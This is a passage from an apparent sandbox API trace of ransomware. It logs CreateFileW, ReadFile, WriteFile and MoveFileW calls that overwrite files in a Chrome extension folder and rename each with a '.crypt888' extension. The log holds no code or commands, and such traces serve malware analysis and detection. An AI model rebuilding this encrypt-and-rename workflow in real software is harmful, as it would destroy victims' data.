lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js.crypt888")) returned 1 [0074.973] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0074.973] GetFileType (hFile=0x174) returned 0x1 [0074.973] GetFileType (hFile=0x174) returned 0x1 [0074.973] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ec0c | out: lpFileSizeHigh=0x39ec0c*=0x0) returned 0x111e1 [0074.973] ReadFile (in: hFile=0x174, lpBuffer=0x27168b0, nNumberOfBytesToRead=0x111e1, lpNumberOfBytesRead=0x39ebb8, lpOverlapped=0x0 | out: lpBuffer=0x27168b0*, lpNumberOfBytesRead=0x39ebb8*=0x111e1, lpOverlapped=0x0) returned 1 [0074.989] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0074.991] GetFileType (hFile=0x174) returned 0x1 [0074.991] GetFileType (hFile=0x174) returned 0x1 [0074.991] WriteFile (in: hFile=0x174, lpBuffer=0x2796c5c*, nNumberOfBytesToWrite=0x111f0, lpNumberOfBytesWritten=0x39eba8, lpOverlapped=0x0 | out: lpBuffer=0x2796c5c*, lpNumberOfBytesWritten=0x39eba8*=0x111f0, lpOverlapped=0x0) returned 1 [0074.993] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html.crypt888")) returned 1 [0074.995] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0074.995] GetFileType (hFile=0x174) returned 0x1 [0074.995] GetFileType (hFile=0x174) returned 0x1 [0074.995] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ec0c | out: lpFileSizeHigh=0x39ec0c*=0x0) returned 0x3a258 [0074.996] ReadFile (in: hFile=0x174, lpBuffer=0x3731868, nNumberOfBytesToRead=0x3a258, lpNumberOfBytesRead=0x39ebb8, lpOverlapped=0x0 | out: lpBuffer=0x3731868*, lpNumberOfBytesRead=0x39ebb8*=0x3a258, lpOverlapped=0x0) returned 1 [0075.037] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.039] GetFileType (hFile=0x174) returned 0x1 [0075.039] GetFileType (hFile=0x174) returned 0x1 [0075.040] WriteFile (in: hFile=0x174, lpBuffer=0x3854480*, nNumberOfBytesToWrite=0x3a260, lpNumberOfBytesWritten=0x39eba8, lpOverlapped=0x0 | out: lpBuffer=0x3854480*, lpNumberOfBytesWritten=0x39eba8*=0x3a260, lpOverlapped=0x0) returned 1 [0075.044] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js.crypt888")) returned 1 [0075.048] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.049] GetFileType (hFile=0x174) returned 0x1 [0075.049] GetFileType (hFile=0x174) returned 0x1 [0075.049] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ec0c | out: lpFileSizeHigh=0x39ec0c*=0x0) returned 0xce17 [0075.050] ReadFile (in: hFile=0x174, lpBuffer=0x27f5bb4, nNumberOfBytesToRead=0xce17, lpNumberOfBytesRead=0x39ebb8, lpOverlapped=0x0 | out: lpBuffer=0x27f5bb4*, lpNumberOfBytesRead=0x39ebb8*=0xce17, lpOverlapped=0x0) returned 1 [0075.070] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.071] GetFileType (hFile=0x174) returned 0x1 [0075.071] GetFileType (hFile=0x174) returned 0x1 [0075.071] WriteFile (in: hFile=0x174, lpBuffer=0x28693f0*, nNumberOfBytesToWrite=0xce20, lpNumberOfBytesWritten=0x39eba8, lpOverlapped=0x0 | out: lpBuffer=0x28693f0*, lpNumberOfBytesWritten=0x39eba8*=0xce20, lpOverlapped=0x0) returned 1 [0075.073] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js.crypt888")) returned 1 [0075.076] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.077] GetFileType (hFile=0x174) returned 0x1 [0075.077] GetFileType (hFile=0x174) returned 0x1 [0075.077] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ec0c | out: lpFileSizeHigh=0x39ec0c*=0x0) returned 0xc878 [0075.078] ReadFile (in: hFile=0x174, lpBuffer=0x287696c, nNumberOfBytesToRead=0xc878, lpNumberOfBytesRead=0x39ebb8, lpOverlapped=0x0 | out: lpBuffer=0x287696c*, lpNumberOfBytesRead=0x39ebb8*=0xc878, lpOverlapped=0x0) returned 1 [0075.103] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.104] GetFileType (hFile=0x174) returned 0x1 [0075.104] GetFileType (hFile=0x174) returned 0x1 [0075.104] WriteFile (in: hFile=0x174, lpBuffer=0x26f5d0c*, nNumberOfBytesToWrite=0xc880, lpNumberOfBytesWritten=0x39eba8, lpOverlapped=0x0 | out: lpBuffer=0x26f5d0c*, lpNumberOfBytesWritten=0x39eba8*=0xc880, lpOverlapped=0x0) returned 1 [0075.106] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js.crypt888")) returned 1 [0075.109] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.109] GetFileType (hFile=0x174) returned 0x1 [0075.109] GetFileType (hFile=0x174) returned 0x1 [0075.109] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ec0c | out: lpFileSizeHigh=0x39ec0c*=0x0) returned 0xc26 [0075.109] ReadFile (in: hFile=0x174, lpBuffer=0x27038f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ebb8, lpOverlapped=0x0 | out: lpBuffer=0x27038f8*, lpNumberOfBytesRead=0x39ebb8*=0xc26, lpOverlapped=0x0) returned 1 [0075.136] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.137] GetFileType (hFile=0x174) returned 0x1 [0075.137] GetFileType (hFile=0x174) returned 0x1 [0075.138] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css.crypt888")) returned 1 [0075.139] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.139] GetFileType (hFile=0x174) returned 0x1 [0075.139] GetFileType (hFile=0x174) returned 0x1 [0075.139] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ec0c | out: lpFileSizeHigh=0x39ec0c*=0x0) returned 0x38a8 [0075.140] ReadFile (in: hFile=0x174, lpBuffer=0x2756c7c, nNumberOfBytesToRead=0x38a8, lpNumberOfBytesRead=0x39ebb8, lpOverlapped=0x0 | out: lpBuffer=0x2756c7c*, lpNumberOfBytesRead=0x39ebb8*=0x38a8, lpOverlapped=0x0) returned 1 [0075.168] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.169] GetFileType (hFile=0x174) returned 0x1 [0075.169] GetFileType (hFile=0x174) returned 0x1 [0075.169] WriteFile (in: hFile=0x174, lpBuffer=0x27b55b0*, nNumberOfBytesToWrite=0x38b0, lpNumberOfBytesWritten=0x39eba8, lpOverlapped=0x0 | out: lpBuffer=0x27b55b0*, lpNumberOfBytesWritten=0x39eba8*=0x38b0, lpOverlapped=0x0) returned 1 [0075.171] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html.crypt888")) returned 1 [0075.172] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.173] GetFileType (hFile=0x174) returned 0x1 [0075.174] GetFileType (hFile=0x174) returned 0x1 [0075.174] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ec0c | out: lpFileSizeHigh=0x39ec0c*=0x0) returned 0x2b20 [0075.174] ReadFile (in: hFile=0x174, lpBuffer=0x27b95d4, nNumberOfBytesToRead=0x2b20, lpNumberOfBytesRead=0x39ebb8, lpOverlapped=0x0 | out: lpBuffer=0x27b95d4*, lpNumberOfBytesRead=0x39ebb8*=0x2b20, lpOverlapped=0x0) returned 1 [0075.197] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.198] GetFileType (hFile=0x174) returned 0x1 [0075.198] GetFileType (hFile=0x174) returned 0x1 [0075.198] WriteFile (in: hFile=0x174, lpBuffer=0x2813b88*, nNumberOfBytesToWrite=0x2b30, lpNumberOfBytesWritten=0x39eba8, lpOverlapped=0x0 | out: lpBuffer=0x2813b88*, lpNumberOfBytesWritten=0x39eba8*=0x2b30, lpOverlapped=0x0) returned 1 [0075.199] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js.crypt888")) returned 1 [0075.201] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.202] GetFileType (hFile=0x174) returned 0x1 [0075.202] GetFileType (hFile=0x174) returned 0x1 [0075.202] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ec0c | out: lpFileSizeHigh=0x39ec0c*=0x0) returned 0x46039 [0075.202] ReadFile (in: hFile=0x174, lpBuffer=0x38c1440, nNumberOfBytesToRead=0x46039, lpNumberOfBytesRead=0x39ebb8, lpOverlapped=0x0 | out: lpBuffer=0x38c1440*, lpNumberOfBytesRead=0x39ebb8*=0x46039, lpOverlapped=0x0) returned 1 [0075.239] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.242] GetFileType (hFile=0x174) returned 0x1 [0075.242] GetFileType (hFile=0x174) returned 0x1 [0075.243] WriteFile (in: hFile=0x174, lpBuffer=0x36f5950*, nNumberOfBytesToWrite=0x46040, lpNumberOfBytesWritten=0x39eba8, lpOverlapped=0x0 | out: lpBuffer=0x36f5950*, lpNumberOfBytesWritten=0x39eba8*=0x46040, lpOverlapped=0x0) returned 1 [0075.250] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css.crypt888")) returned 1 [0075.253] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.253] GetFileType (hFile=0x174) returned 0x1 [0075.254] GetFileType (hFile=0x174) returned 0x1 [0075.254] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ec0c | out: lpFileSizeHigh=0x39ec0c*=0x0) returned 0x7c33 [0075.254] ReadFile (in: hFile=0x174, lpBuffer=0x26b40b0, nNumberOfBytesToRead=0x7c33, lpNumberOfBytesRead=0x39ebb8, lpOverlapped=0x0 | out: lpBuffer=0x26b40b0*, lpNumberOfBytesRead=0x39ebb8*=0x7c33, lpOverlapped=0x0) returned 1 [0075.299] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaec) returned 1 [0075.299] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.301] GetFileType (hFile=0x174) returned 0x1 [0075.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eae8) returned 1 [0075.301] GetFileType (hFile=0x174) returned 0x1 [0075.301] WriteFile (in: hFile=0x174, lpBuffer=0x2727d14*, nNumberOfBytesToWrite=0x7c40, lpNumberOfBytesWritten=0x39eba8, lpOverlapped=0x0 | out: lpBuffer=0x2727d14*, lpNumberOfBytesWritten=0x39eba8*=0x7c40, lpOverlapped=0x0) returned 1 [0075.303] CloseHandle (hObject=0x174) returned 1 [0075.303] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js", lpFilePart=0x0) returned 0xa2 [0075.304] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js.crypt888", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS 